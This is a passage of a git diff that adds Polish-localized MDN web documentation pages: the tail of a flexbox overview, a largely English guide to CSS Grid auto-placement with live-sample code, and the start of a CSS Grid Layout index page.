flexboksem.</dd> + <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Kolejność elementów elastycznego kontenera</a></dt> + <dd>Wyjaśnienie różnych sposobów na zmienianie kolejności i kierunku elementów oraz omówienie potencjalnych problemów z tym związanych.</dd> + <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Kontrola proporcji elastycznych elementów wzdłuż osi głównej</a></dt> + <dd>Artykuł wyjaśniający atrybuty flex-grow, flex-shrink oraz flex-basis.</dd> + <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Przechodzenie elastycznych elementów do nowego wiersza</a></dt> + <dd>Tworzenie wielolinijkowych kontenerów flex oraz kontrola wyświetlania elementów w tych linijkach.</dd> + <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Typowe zastosowania flexboksa</a></dt> + <dd>Częste wzorce projektowe będące typowymi zastosowaniami flexboksa.</dd> + <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">Kompatybilność wsteczna flexboksa</a></dt> + <dd>Stan flexboksa w przeglądarkach, problemy "interoperability", wsparcie starszych przeglądarek i wersji specyfikacji.</dd> +</dl> + +<ul> +</ul> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Flexbox') }}</td> + <td>{{ Spec2('CSS3 Flexbox') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{CompatibilityTable()}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoDesktop("20.0")}}</td> + <td>21.0{{property_prefix("-webkit")}}<br> + 29.0</td> + <td>10.0{{property_prefix("-ms")}}<br> + 11.0</td> + <td>12.10</td> + <td>6.1{{property_prefix("-webkit")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown()}}</td> + <td>4.4</td> + <td>11</td> + <td>12.10</td> + <td><span style="font-size: 12px; line-height: 18px;">7.1{{property_prefix("-webkit")}}</span></td> + </tr> + </tbody> +</table> +</div> + +<p> </p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<dl> + <dt><a href="https://github.com/philipwalton/flexbugs">Flexbugs</a></dt> + <dd>tworzona przez społeczność lista błędów flexboksa w przeglądarkach i sposoby ich obejścia</dd> + <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins">Cross-browser Flexbox mixins</a></dt> + <dd>Artykuł zawierający zbiór mixinów dla tych którzy chcą stworzyć wieloprzeglądarkowe rozwiązania typu flexbox działające nawet w starszych przeglądarkach nie wspierających nowoczesnej składni flexbox.</dd> +</dl> + +<p> </p> diff --git a/files/pl/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html b/files/pl/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html new file mode 100644 index 0000000000..eb9d550390 --- /dev/null +++ b/files/pl/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html @@ -0,0 +1,609 @@ +--- +title: Auto-placement in CSS Grid Layout +slug: Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout +translation_of: Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout +--- +<p>Poza możliwością umieszczania elementów</p> + +<div id="placement_1"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + +.wrapper { + border: 2px solid #f76707; + border-radius: 5px; + background-color: #fff4e6; +} + +.wrapper > div { + border: 2px solid #ffa94d; + border-radius: 5px; + background-color: #ffd8a8; + padding: 1em; + color: #d9480f; +} +</pre> +</div> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-gap: 10px; +} +</pre> + +<pre class="brush: html"><div class="wrapper"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> +</div> +</pre> + +<p>{{ EmbedLiveSample('placement_1', '500', '230') }}</p> +</div> + +<h2 id="Default_rules_for_auto-placement">Default rules for auto-placement</h2> + +<p>As you can see with the above example, if you create a grid all child items will lay themselves out one into each grid cell. The default flow is to arrange items by row. Grid will lay an item out into each cell of row 1. If you have created additional rows using the <code>grid-template-rows</code> property then grid will continue placing items in these rows. If the grid does not have enough rows in the explicit grid to place all of the items new <em>implicit</em> rows will be created.</p> + +<h3 id="Sizing_rows_in_the_implicit_grid">Sizing rows in the implicit grid</h3> + +<p>The default for automatically created rows in the implicit grid is for them to be auto-sized. This means that they will contain the content added to them without causing an overflow.</p> + +<p>You can however control the size of these rows with the property <code>grid-auto-rows</code>. To cause all created rows to be 100 pixels tall for example you would use:</p> + +<div id="placement_2"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + +.wrapper { + border: 2px solid #f76707; + border-radius: 5px; + background-color: #fff4e6; +} + +.wrapper > div { + border: 2px solid #ffa94d; + border-radius: 5px; + background-color: #ffd8a8; + padding: 1em; + color: #d9480f; +} +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> +</div> +</pre> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-gap: 10px; + grid-auto-rows: 100px; +} +</pre> + +<p>{{ EmbedLiveSample('placement_2', '500', '330') }}</p> +</div> + +<p>You can use {{cssxref("minmax","minmax()")}} in your value for {{cssxref("grid-auto-rows")}} enabling the creation of rows that are a minimum size but then grow to fit content if it is taller.</p> + +<div id="placement_3"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + +.wrapper { + border: 2px solid #f76707; + border-radius: 5px; + background-color: #fff4e6; +} + +.wrapper > div { + border: 2px solid #ffa94d; + border-radius: 5px; + background-color: #ffd8a8; + padding: 1em; + color: #d9480f; +} +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four + <br>This cell + <br>Has extra + <br>content. + <br>Max is auto + <br>so the row expands. + </div> + <div>Five</div> +</div> +</pre> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-gap: 10px; + grid-auto-rows: minmax(100px, auto); +} +</pre> + +<p>{{ EmbedLiveSample('placement_3', '500', '330') }}</p> +</div> + +<p>You can also pass in a track listing, this will repeat. The following track listing will create an initial implicit row track as 100 pixels and a second as <code>200px</code>. This will continue for as long as content is added to the implicit grid. <strong>Track listings are not supported in Firefox.</strong></p> + +<div id="placement_4"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + +.wrapper { + border: 2px solid #f76707; + border-radius: 5px; + background-color: #fff4e6; +} + +.wrapper > div { + border: 2px solid #ffa94d; + border-radius: 5px; + background-color: #ffd8a8; + padding: 1em; + color: #d9480f; +} +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> + <div>Eight</div> +</div> +</pre> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-gap: 10px; + grid-auto-rows: 100px 200px; +} +</pre> + +<p>{{ EmbedLiveSample('placement_4', '500', '330') }}</p> +</div> + +<h3 id="Auto-placement_by_column">Auto-placement by column</h3> + +<p>You can also ask grid to auto-place items by column. Using the property {{cssxref("grid-auto-flow")}} with a value of <code>column</code>. In this case grid will add items in rows that you have defined using {{cssxref("grid-template-rows")}}. When it fills up a column it will move onto the next explicit column, or create a new column track in the implicit grid. As with implicit row tracks, these column tracks will be auto sized. You can control the size of implicit column tracks with {{cssxref("grid-auto-columns")}}, this works in the same way as {{cssxref("grid-auto-rows")}}.</p> + +<p>In this next example I have created a grid with three row tracks of 200 pixels height. I am auto-placing by column and the columns created will be a column width of 300 pixels, then a column width of 100 pixels until there are enough column tracks to hold all of the items.</p> + +<div id="placement_5"> +<pre class="brush: css">.wrapper { + display: grid; + grid-template-rows: repeat(3, 200px); + grid-gap: 10px; + grid-auto-flow: column; + grid-auto-columns: 300px 100px; +} +</pre> + +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + +.wrapper { + border: 2px solid #f76707; + border-radius: 5px; + background-color: #fff4e6; +} + +.wrapper > div { + border: 2px solid #ffa94d; + border-radius: 5px; + background-color: #ffd8a8; + padding: 1em; + color: #d9480f; +} +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> + <div>Eight</div> +</div> +</pre> + +<p>{{ EmbedLiveSample('placement_5', '500', '640') }}</p> +</div> + +<h2 id="The_order_of_auto_placed_items">The order of auto placed items</h2> + +<p>A grid can contain a mixture of items. Some of the items may have a position on the grid, but others may be auto-placed. This can be helpful, if you have a document order that reflects the order in which items sit on the grid you may not need to write CSS rules to place absolutely everything. The specification contains a long section detailing the <a href="https://drafts.csswg.org/css-grid/#auto-placement-algo">Grid item placement algorithm</a>, however for most of us we just need to remember a few simple rules for our items.</p> + +<h3 id="Order_modified_document_order">Order modified document order</h3> + +<p>Grid places items that have not been given a grid position in what is described in the specification as “order modified document order”. This means that if you have used the <code>order</code> property at all, the items will be placed by that order, not their DOM order. Otherwise they will stay by default in the order that they are entered in the document source.</p> + +<h3 id="Items_with_placement_properties">Items with placement properties</h3> + +<p>The first thing grid will do is place any items that have a position. In the example below I have 12 grid items. Item 2 and item 5 have been placed using line based placement on the grid. You can see how those items are placed and the other items then auto-place in the spaces. The auto-placed items will place themselves before the placed items in DOM order, they don’t start after the position of a placed item that comes before them.</p> + +<div id="placement_6"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + +.wrapper { + border: 2px solid #f76707; + border-radius: 5px; + background-color: #fff4e6; +} + +.wrapper > div { + border: 2px solid #ffa94d; + border-radius: 5px; + background-color: #ffd8a8; + padding: 1em; + color: #d9480f; +} +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> + <div>Eight</div> + <div>Nine</div> + <div>Ten</div> + <div>Eleven</div> + <div>Twelve</div> +</div> +</pre> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(4, 1fr); + grid-auto-rows: 100px; + grid-gap: 10px; +} + .wrapper div:nth-child(2) { + grid-column: 3; + grid-row: 2 / 4; + } + .wrapper div:nth-child(5) { + grid-column: 1 / 3; + grid-row: 1 / 3; +} +</pre> + +<p>{{ EmbedLiveSample('placement_6', '500', '450') }}</p> +</div> + +<h3 id="Deal_with_items_that_span_tracks">Deal with items that span tracks</h3> + +<p>You can use placement properties while still taking advantage of auto-placement. In this next example I have added to the layout by setting odd items to span two tracks both for rows and columns. I do this with the {{cssxref("grid-column-end")}} and {{cssxref("grid-row-end")}} properties and setting the value of this to <code>span 2</code>. What this means is that the start line of the item will be set by auto-placement, and the end line will span two tracks.</p> + +<p>You can see how this then leaves gaps in the grid, as for the auto-placed items if grid comes across an item that doesn’t fit into a track, it will move to the next row until it finds a space the item can fit in.</p> + +<div id="placement_7"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} +.wrapper { + border: 2px solid #f76707; + border-radius: 5px; + background-color: #fff4e6; +} + +.wrapper > div { + border: 2px solid #ffa94d; + border-radius: 5px; + background-color: #ffd8a8; + padding: 1em; + color: #d9480f; +} +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> + <div>Eight</div> + <div>Nine</div> + <div>Ten</div> + <div>Eleven</div> + <div>Twelve</div> +</div> +</pre> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(4, 1fr); + grid-auto-rows: 100px; + grid-gap: 10px; +} +.wrapper div:nth-child(4n+1) { + grid-column-end: span 2; + grid-row-end: span 2; + background-color: #ffa94d; +} + .wrapper div:nth-child(2) { + grid-column: 3; + grid-row: 2 / 4; + } + .wrapper div:nth-child(5) { + grid-column: 1 / 3; + grid-row: 1 / 3; +} +</pre> + +<p>{{ EmbedLiveSample('placement_7', '500', '770') }}</p> +</div> + +<h3 id="Filling_in_the_gaps">Filling in the gaps</h3> + +<p>So far, other than items we have specifically placed, grid is always progressing forward and keeping items in DOM order. This is generally what you want, if you are laying out a form for example you wouldn’t want the labels and fields to become jumbled up in order to fill in some gap. However sometimes, we are laying things out that don’t have a logical order and we would like to create a layout that doesn’t have gaps in it.</p> + +<p>To do this, add the property {{cssxref("grid-auto-flow")}} with a value of <code>dense</code> to the container. This is the same property you use to change the flow order to <code>column</code>, so if you were working in columns you would add both values <code>grid-auto-flow: column dense</code>.</p> + +<p>Having done this, grid will now backfill the gaps, as it moves through the grid it leaves gaps as before, but then if it finds an item that will fit in a previous gap it will pick it up and take it out of DOM order to place it in the gap. As with any other reordering in grid this does not change the logical order. Tab order for example, will still follow the document order. We will take a look at the potential accessibility issues of Grid Layout in a later guide, but you should take care when creating this disconnect between the visual order and display order.</p> + +<div id="placement_8"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} +.wrapper { + border: 2px solid #f76707; + border-radius: 5px; + background-color: #fff4e6; +} + +.wrapper > div { + border: 2px solid #ffa94d; + border-radius: 5px; + background-color: #ffd8a8; + padding: 1em; + color: #d9480f; +} +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> + <div>Eight</div> + <div>Nine</div> + <div>Ten</div> + <div>Eleven</div> + <div>Twelve</div> +</div> +</pre> + +<pre class="brush: css">.wrapper div:nth-child(4n+1) { + grid-column-end: span 2; + grid-row-end: span 2; + background-color: #ffa94d; +} + .wrapper div:nth-child(2) { + grid-column: 3; + grid-row: 2 / 4; + } + .wrapper div:nth-child(5) { + grid-column: 1 / 3; + grid-row: 1 / 3; +} +.wrapper { + display: grid; + grid-template-columns: repeat(4, 1fr); + grid-auto-rows: 100px; + grid-gap: 10px; + grid-auto-flow: dense; +} +</pre> + +<p>{{ EmbedLiveSample('placement_8', '500', '730') }}</p> +</div> + +<h3 id="Anonymous_grid_items">Anonymous grid items</h3> + +<p>There is a mention in the specification of anonymous grid items. These are created if you have a string of text inside your grid container, that is not wrapped in any other element. In the example below we have three grid items, assuming you had set the parent with a class of <code>grid</code> to <code>display: grid</code>. The first is an anonymous item as it has no enclosing markup, this item will always be dealt with via the auto-placement rules. The other two are grid items enclosed in a div, they might be auto-placed or you could place these with a positioning method onto your grid.</p> + +<pre class="brush: css"><div class="grid"> + I am a string and will become an anonymous item + <div>A grid item</div> + <div>A grid item</div> +</div> +</pre> + +<p>Anonymous items are always auto-placed because there is no way to target them. Therefore if you have some unwrapped text for some reason in your grid, be aware that it might show up somewhere unexpected as it will be auto-placed according to the auto-placement rules.</p> + +<h3 id="Use_cases_for_auto-placement">Use cases for auto-placement</h3> + +<p>Auto-placement is useful whenever you have a collection of items. That could be items that do not have a logical order such as a gallery of photos, or product listing. In that case you might choose to use the dense packing mode to fill in any holes in your grid. In my image gallery example I have some landscape and some portrait images. I have set landscape images – with a class of <code>landscape</code> to span two column tracks. I then use <code>grid-auto-flow: dense</code> to create a densely packed grid.</p> + +<div id="placement_9"> +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(120px, 1fr)); + grid-gap: 10px; + grid-auto-flow: dense; + list-style: none; + margin: 1em auto; + padding: 0; + max-width: 800px; +} +.wrapper li { + border: 1px solid #ccc; +} +.wrapper li.landscape { + grid-column-end: span 2; +} +.wrapper li img { + display: block; + object-fit: cover; + width: 100%; + height: 100%; +} +</pre> + +<pre class="brush: html"><ul class="wrapper"> + <li><img src="https://placehold.it/200x300" alt="placeholder"></li> + <li class="landscape"><img src="https://placehold.it/350x200" alt="placeholder"></li> + <li class="landscape"><img src="https://placehold.it/350x200" alt="placeholder"></li> + <li class="landscape"><img src="https://placehold.it/350x200" alt="placeholder"></li> + <li><img src="https://placehold.it/200x300" alt="placeholder"></li> + <li><img src="https://placehold.it/200x300" alt="placeholder"></li> + <li class="landscape"><img src="https://placehold.it/350x200" alt="placeholder"></li> + <li><img src="https://placehold.it/200x300" alt="placeholder"></li> + <li><img src="https://placehold.it/200x300" alt="placeholder"></li> + <li><img src="https://placehold.it/200x300" alt="placeholder"></li> +</ul> +</pre> + +<p>{{ EmbedLiveSample('placement_9', '500', '1300') }}</p> +</div> + +<p>Auto-placement can also help you lay out interface items which do have logical order. An example is the definition list in this next example. Definition lists are an interesting challenge to style as they are flat, there is nothing wrapping the groups of <code>dt</code> and <code>dd</code> items. In my example I am allowing auto-placement to place the items, however I have classes that start a <code>dt</code> in column 1, and <code>dd</code> in column 2, this ensure that terms go on one side and definitions on the other - no matter how many of each we have.</p> + +<div id="placement_10"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + +.wrapper { + border: 2px solid #f76707; + border-radius: 5px; + background-color: #fff4e6; +} +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <dl> + <dt>Mammals</dt> + <dd>Cat</dd> + <dd>Dog</dd> + <dd>Mouse</dd> + <dt>Fish</dt> + <dd>Guppy</dd> + <dt>Birds</dt> + <dd>Pied Wagtail</dd> + <dd>Owl</dd> + </dl> +</div> +</pre> + +<pre class="brush: css">dl { + display: grid; + grid-template-columns: auto 1fr; + max-width: 300px; + margin: 1em; + line-height: 1.4; +} +dt { + grid-column: 1; + font-weight: bold; +} +dd { + grid-column: 2; + } +</pre> + +<p>{{ EmbedLiveSample('placement_10', '500', '230') }}</p> +</div> + +<h2 id="What_can’t_we_do_with_auto-placement_yet">What can’t we do with auto-placement (yet)?</h2> + +<p>There are a couple of things that often come up as questions. Currently we can’t do things like target every other cell of the grid with our items. A related issue may have already come to mind if you followed the last guide about named lines on the grid. It would be to define a rule that said “auto-place items against the next line named “n”, and grid would then skip other lines.There is <a href="https://github.com/w3c/csswg-drafts/issues/796">an issue raised about this</a> on the CSSWG GitHub repository, and you would be welcome to add your own use cases to this.</p> + +<p>It may be that you come up with your own use cases for auto-placement or any other part of grid layout. If you do, raise them as issues or add to an existing issue that could solve your use case. This will help to make future versions of the specification better.</p> + +<section class="Quick_links" id="Quick_Links"> +<ol> + <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li> + <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li> + <li data-default-state="open"><a href="#"><strong>Guides</strong></a> + <ol> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li> + </ol> + </li> + <li data-default-state="open"><a href="#"><strong>Properties</strong></a> + <ol> + <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li> + </ol> + </li> + <li data-default-state="open"><a href="#"><strong>Glossary</strong></a> + <ol> + <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li> + <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li> + <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li> + <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li> + <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li> + <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li> + <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li> + <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li> + </ol> + </li> +</ol> +</section> diff --git a/files/pl/web/css/css_grid_layout/index.html b/files/pl/web/css/css_grid_layout/index.html new file mode 100644 index 0000000000..0894a70679 --- /dev/null +++ b/files/pl/web/css/css_grid_layout/index.html @@ -0,0 +1,245 @@ +--- +title: CSS Grid Layout +slug: Web/CSS/CSS_Grid_Layout +tags: + - CSS +translation_of: Web/CSS/CSS_Grid_Layout +--- +<p><strong>CSS Grid Layout</strong> jest najlepszą metodą aby podzielić strone na części lub definiowanie relacji takich jak rozmiar, pozycja i warstwa, pomiędzy podstawowymi elementami HTML.</p> + +<p>Podobnie do tabel (ang. "tables"), rozmieszczenie grid <em>(ang. "siatka")</em> pozwala autorowi wyrównać elementy w kolumny i wiersze. Jednakowoż grid pozwala na wiele więcej ułożeń niż tabele. Na przykład kontener grid potrafi spozycjonować elementy wewnątrz siebie w taki sposób aby na siebie nachodziły oraz używały warstw, podobnie jak elementy pozycjonowane przy użyciu CSS.</p> + +<h2 id="Basic_Example" name="Basic_Example">Przykład</h2> + +<p>Przykład poniżej pokazuje trzy kolumnową ścieżkę siatki z utworzonymi nowymi wierszami z ustawioną własnością minimalną na 100 pikseli i wartością maksymalną ustawioną na auto. Elementy zostały ustawione na siatce przy pomocy miejsc opartych na liniach siatki.</p> + +<div id="example"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} +.wrapper { + max-width: 940px; + margin: 0 auto; +} + +.wrapper > div { + border: 2px solid rgb(233,171,88); + border-radius: 5px; + background-color: rgba(233,171,88,.5); + padding: 1em; + color: #d9480f; +}</pre> +</div> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><div class="wrapper"> + <div class="one">Jeden</div> + <div class="two">Dwa</div> + <div class="three">Trzy</div> + <div class="four">Cztery</div> + <div class="five">Pięć</div> + <div class="six">Sześć</div> +</div></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-gap: 10px; + grid-auto-rows: minmax(100px, auto); +} +.one { + grid-column: 1 / 3; + grid-row: 1; +} +.two { + grid-column: 2 / 4; + grid-row: 1 / 3; +} +.three { + grid-column: 1; + grid-row: 2 / 5; +} +.four { + grid-column: 3; + grid-row: 3; +} +.five { + grid-column: 2; + grid-row: 4; +} +.six { + grid-column: 3; + grid-row: 4; +} +</pre> + +<p>{{ EmbedLiveSample('example', '500', '440') }}</p> +</div> + +<h2 id="Reference">Reference</h2> + +<h3 id="Własności_CSS">Własności CSS</h3> + +<div class="index"> +<ul> + <li>{{cssxref("grid-template-columns")}}</li> + <li>{{cssxref("grid-template-rows")}}</li> + <li>{{cssxref("grid-template-areas")}}</li> + <li>{{cssxref("grid-template")}}</li> + <li>{{cssxref("grid-auto-columns")}}</li> + <li>{{cssxref("grid-auto-rows")}}</li> + <li>{{cssxref("grid-auto-flow")}}</li> + <li>{{cssxref("grid")}}</li> + <li>{{cssxref("grid-row-start")}}</li> + <li>{{cssxref("grid-column-start")}}</li> + <li>{{cssxref("grid-row-end")}}</li> + <li>{{cssxref("grid-column-end")}}</li> + <li>{{cssxref("grid-row")}}</li> + <li>{{cssxref("grid-column")}}</li> + <li>{{cssxref("grid-area")}}</li> + <li>{{cssxref("grid-row-gap")}}</li> + <li>{{cssxref("grid-column-gap")}}</li> + <li>{{cssxref("grid-gap")}}</li> +</ul> +</div> + +<h3 id="CSS_functions">CSS functions</h3> + +<div class="index"> +<ul> + <li>{{cssxref("repeat", "repeat()")}}</li> + <li>{{cssxref("minmax", "minmax()")}}</li> + <li>{{cssxref("fit-content", "fit-content()")}}</li> +</ul> +</div> + +<h3 id="CSS_data_types">CSS data types</h3> + +<div class="index"> +<ul> + <li>{{cssxref("<flex>")}}</li> +</ul> +</div> + +<h3 id="Glossary_entries">Glossary entries</h3> + +<div class="index"> +<ul> + <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Lines">Grid Lines</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Tracks">Grid Tracks</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Cell">Grid Cell</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Areas">Grid Area</a></li> + <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Rows">Grid row</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Column">Grid column</a></li> +</ul> +</div> + +<h2 id="Poradniki">Poradniki</h2> + +<div class="index"> +<ul> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic concepts of Grid Layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship of Grid Layout to other layout methods</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Layout using line-based placement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in CSS Grid Layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid Layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grid, Logical Values and Writing Modes</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and accessibility</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid and progressive enhancement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realising_common_layouts_using_CSS_Grid_">Realising common layouts using CSS Grid</a></li> +</ul> +</div> + +<h2 